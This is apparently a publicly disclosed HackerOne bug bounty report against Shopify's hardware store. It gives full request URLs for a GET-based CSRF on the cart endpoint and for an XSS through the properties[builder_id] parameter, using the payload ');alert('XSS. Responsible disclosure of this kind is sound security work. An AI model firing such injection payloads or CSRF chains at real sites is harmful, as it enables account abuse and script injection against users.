HexBrain

Shopify · Report #116006

XSS on hardware.shopify.com

Validstatus
$500bounty
1upvotes
1 Mar 2016disclosed

How it was found

Hello @Shopify. I found CSRF and XSS, that very good combine with each other.

CSRF

This CSRF is not dangerous, but is serves me in order to perform other bugs. For example, here CSRF for adding product:

http://hardware.shopify.com/cart/add?&id=1106494145&iPad Stand=1120276481&Cash Drawer=1120176153&Receipt Printer=1120166789&attributes[cart_exists]=true&properties[builder_id]=shapp_options_421549285_1455208671885&properties[master_builder]=1&properties[test]=test&properties[value]=11&add

Works with GET and POST requests, which greatly simplifies the work.

XSS

To reproduce this XSS, visit this link:

http://hardware.shopify.com/cart/add?id=1106494145&iPad Stand=1120276481&Cash Drawer=1120176153&Receipt Printer=1120166789&attributes[cart_exists]=true&properties[builder_id]=shapp_options_421549285_1455208671885%27%29%3Balert%28%27XSS&properties[master_builder]=1&properties[test]=test&properties[value]=11&add

And click "Remove" in attached product. Vulnerable parameter: properties[builder_id] For this XSS i used ');alert('XSS

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original